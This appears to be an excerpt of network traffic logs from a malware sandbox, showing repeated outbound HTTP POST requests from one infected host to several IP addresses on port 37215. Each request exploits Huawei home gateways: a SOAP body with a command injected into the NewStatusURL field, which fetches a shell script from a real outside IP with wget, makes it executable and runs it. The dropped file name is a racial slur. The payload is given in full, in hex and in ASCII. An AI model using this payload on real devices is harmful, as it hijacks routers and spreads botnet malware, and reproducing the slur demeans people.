151	192.168.2.23	50534	197.90.117.124	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:06.703028917 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
152	192.168.2.23	54986	45.207.153.215	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:10.164330006 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:11.718303919 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:13.542089939 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:17.317492962 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:24.740403891 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:39.330444098 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.23	33022	45.122.134.64	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:10.164429903 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:11.718316078 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
